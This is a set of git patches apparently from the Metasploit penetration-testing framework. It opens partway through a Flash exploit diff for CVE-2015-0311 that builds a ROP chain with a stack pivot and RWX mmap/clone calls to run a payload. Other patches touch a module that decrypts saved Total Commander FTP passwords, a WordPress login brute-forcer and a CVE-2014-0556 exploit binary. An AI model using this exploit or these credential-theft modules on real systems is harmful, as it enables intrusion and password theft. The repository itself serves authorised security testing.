PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) eba.write(main, stack_address + 0x18000) // overwrite with fake vtable exploit.toString() // call method in the fake vtable @@ -192,6 +290,8 @@ package var libc:Elf = new Elf(eba, feof) var popen:uint = libc.symbol("popen") var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) @@ -204,9 +304,21 @@ package // 2) Recover original stack eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + // Put the popen parameters in memory - eba.write(payload_address + 8, 'r', true) // type - eba.write(payload_address + 0xc, payload, true) // command + eba.write(payload_address + 0x8, payload, true) // false // Put the fake stack/vtable on memory eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot @@ -221,13 +333,49 @@ package eba.write(0, buffer) // addr eba.write(0, 0x1000) // size eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC - // Return to popen() - eba.write(stack_address + 0x18068, popen) + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) // Return to CoE (fix stack and object vtable) eba.write(0, buffer + 0x10) - // popen() argument - eba.write(0, payload_address + 0xc) - eba.write(0, payload_address + 8) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args //call DWORD PTR [eax+0x24] //EAX: 0x41414141 ('AAAA') diff --git a/external/source/exploits/CVE-2015-0311/PE.as b/external/source/exploits/CVE-2015-0311/PE.as index a80ade9321..8753586477 100644 --- a/external/source/exploits/CVE-2015-0311/PE.as +++ b/external/source/exploits/CVE-2015-0311/PE.as @@ -11,7 +11,6 @@ package public function base(addr:uint):uint { - Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16)) addr &= 0xffff0000 while (true) { if (eba.read(addr) == 0x00905a4d) return addr @@ -54,10 +53,20 @@ package public function gadget(gadget:String, hint:uint, addr:uint):uint { var find:uint = 0 + var contents:uint = 0 var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break - return addr + i + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() } } } From d4f418fe3f3741611a602aedd96c55e40da84c96 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 4 Jun 2015 15:52:07 -0500 Subject: [PATCH 0312/1013] Style corrections See #5480 --- .../gather/credentials/total_commander.rb | 38 +++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index 2b807176cc..1f51aabd04 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Post end def run - print_status("Checking Default Locations...") + print_status('Checking Default Locations...') check_systemroot grab_user_profiles().each do |user| @@ -45,25 +45,25 @@ class Metasploit3 < Msf::Post hklmpath = registry_getvaldata(commander_key, 'FtpIniName') case hklmpath when nil - print_status("Total Commander Does not Appear to be Installed Globally") - when "wcx_ftp.ini" + print_status('Total Commander Does not Appear to be Installed Globally') + when 'wcx_ftp.ini' print_status("Already Checked SYSTEMROOT") - when ".\\wcx_ftp.ini" + when '.\\wcx_ftp.ini' hklminstpath = registry_getvaldata(commander_key, 'InstallDir') || '' if hklminstpath.empty? - print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini") + print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini') else check_other(hklminstpath +'\\wcx_ftp.ini') end when /APPDATA/ - print_status("Already Checked AppData") + print_status('Already Checked AppData') when /USERPROFILE/ - print_status("Already Checked USERPROFILE") + print_status('Already Checked USERPROFILE') else check_other(hklmpath) end - userhives=load_missing_hives() + userhives = load_missing_hives() userhives.each do |hive| next if hive['HKU'] == nil print_status("Looking at Key #{hive['HKU']}") @@ -72,21 +72,21 @@ class Metasploit3 < Msf::Post print_status("HKUP: #{hkupath}") case hkupath when nil - print_status("Total Commander Does not Appear to be Installed on This User") - when "wcx_ftp.ini" + print_status('Total Commander Does not Appear to be Installed on This User') + when 'wcx_ftp.ini' print_status("Already Checked SYSTEMROOT") - when ".\\wcx_ftp.ini" + when '.\\wcx_ftp.ini' hklminstpath = registry_getvaldata(profile_commander_key, 'InstallDir') || '' if hklminstpath.empty? - print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini") + print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini') else check_other(hklminstpath +'\\wcx_ftp.ini') end when /APPDATA/ - print_status("Already Checked AppData") + print_status('Already Checked AppData') when /USERPROFILE/ - print_status("Already Checked USERPROFILE") + print_status('Already Checked USERPROFILE') else check_other(hkupath) end @@ -153,16 +153,16 @@ class Metasploit3 < Msf::Post ini=Rex::Parser::Ini.from_s(parse) ini.each_key do |group| - next if group=="General" or group == "default" or group=="connections" + next if group == 'General' or group == 'default' or group == 'connections' print_status("Processing Saved Session #{group}") host = ini[group]['host'] username = ini[group]['username'] passwd = ini[group]['password'] - next if passwd==nil + next if passwd == nil passwd = decrypt(passwd) (host,port) = host.split(':') - port=21 if port==nil + port = 21 if port == nil print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***") if session.db_record source_id = session.db_record.id @@ -214,7 +214,7 @@ class Metasploit3 < Msf::Post b=seed(len) t=pwd3[a] pwd3[a] = pwd3[b] - pwd3[b]=t + pwd3[b] = t end @@ -231,7 +231,7 @@ class Metasploit3 < Msf::Post end - fpwd="" + fpwd = "" pwd3[0,len].map{|a| fpwd << a.chr} return fpwd From 06cc7590805c532e71e84f015c680a3bae40b210 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 4 Jun 2015 16:06:07 -0500 Subject: [PATCH 0313/1013] Use the correct help output for the ps command It should not look like this: ``` meterpreter > ps -h Usage: ps [ options ] OPTIONS: -S Search string to filter by -h This help menu ``` It should not not look like this: ``` meterpreter > ps -h Use the command with no arguments to see all running processes. The following options can be used to filter those results: OPTIONS: -A Filters processes on architecture (x86 or x86_64) -S String to search for (converts to regex) -U Filters processes on the user using the supplied RegEx -h Help menu. -s Show only SYSTEM processes ``` --- .../ui/console/command_dispatcher/stdapi/sys.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 534c1f4172..8bcceb983c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -436,12 +436,7 @@ class Console::CommandDispatcher::Stdapi::Sys return true end when '-h' - print_line "Usage: ps [ options ]" - print_line - print_line "OPTIONS:" - print_line " -S Search string to filter by" - print_line " -h This help menu" - print_line + cmd_ps_help return 0 when "-A" print_line "Filtering on arch..." @@ -491,7 +486,6 @@ class Console::CommandDispatcher::Stdapi::Sys 'SearchTerm' => search_term) processes.each { |ent| - session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s arch = ent['arch'] @@ -503,8 +497,6 @@ class Console::CommandDispatcher::Stdapi::Sys row = [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ] tbl << row #if (search_term.nil? or row.join(' ').to_s.match(search_term)) - - } if (processes.length == 0) From 346ea40d66674cc85485fe4c2ee2d8a00d71f094 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 4 Jun 2015 16:14:31 -0500 Subject: [PATCH 0314/1013] fix some alignment, add usage --- .../console/command_dispatcher/stdapi/sys.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 8bcceb983c..1108262a5e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -429,15 +429,15 @@ class Console::CommandDispatcher::Stdapi::Sys # Parse opts @@ps_opts.parse(args) { |opt, idx, val| case opt - when '-S' - search_term = val - if search_term.nil? - print_error("Enter a search term") - return true - end - when '-h' - cmd_ps_help - return 0 + when '-S' + search_term = val + if search_term.nil? + print_error("Enter a search term") + return true + end + when '-h' + cmd_ps_help + return true when "-A" print_line "Filtering on arch..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new @@ -510,6 +510,8 @@ class Console::CommandDispatcher::Stdapi::Sys end def cmd_ps_help + print_line "Usage: ps [ options ]" + print_line print_line "Use the command with no arguments to see all running processes." print_line "The following options can be used to filter those results:" From 874e090aa1de45bdf567d4a72f2e8f0a32dd1d64 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 4 Jun 2015 18:16:14 -0500 Subject: [PATCH 0315/1013] Update wordpress_login_enum to use the new cred API --- .../scanner/http/wordpress_login_enum.rb | 58 ++++++++++++++----- 1 file changed, 44 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 91111b50d1..86935219e2 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -100,18 +100,49 @@ class Metasploit3 < Msf::Auxiliary end end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user] + }.merge(service_data) + + if opts[:password] + credential_data.merge!( + private_data: opts[:password], + private_type: :password + ) + end + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + + def validate_user(user=nil) print_status("#{target_uri} - WordPress User-Validation - Checking Username:'#{user}'") exists = wordpress_user_exists?(user) if exists print_good("#{target_uri} - WordPress User-Validation - Username: '#{user}' - is VALID") - report_auth_info( - :host => rhost, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :port => rport, - :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}" + + report_cred( + ip: rhost, + port: rport, + user: user ) @users_found[user] = :reported @@ -130,15 +161,14 @@ class Metasploit3 < Msf::Auxiliary if cookie print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{cookie}", - :active => true + + report_cred( + ip: rhost, + port: rport, + user: user, + password: pass ) + return :next_user else vprint_error("#{target_uri} - WordPress Brute Force - Failed to login as '#{user}'") From 02181addc5e4cdb143d08591be9f5710dfdb435d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 4 Jun 2015 18:23:50 -0500 Subject: [PATCH 0316/1013] Update CVE-2014-0556 --- data/exploits/CVE-2014-0556/msf.swf | Bin 17720 -> 20719 bytes .../source/exploits/CVE-2014-0556/Main.as | 185 ------------------ .../adobe_flash_net_connection_confusion.rb | 2 +- .../adobe_flash_uncompress_zlib_uaf.rb | 2 +- .../adobe_flash_copy_pixels_to_byte_array.rb | 21 +- 5 files changed, 14 insertions(+), 196 deletions(-) mode change 100755 => 100644 data/exploits/CVE-2014-0556/msf.swf delete mode 100755 external/source/exploits/CVE-2014-0556/Main.as diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf old mode 100755 new mode 100644 index f6483bd08741f6e2d275d8e95e7cce77be244500..3cf2bc3d4f3050303018392bb865b230ac076125 GIT binary patch delta 20599 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 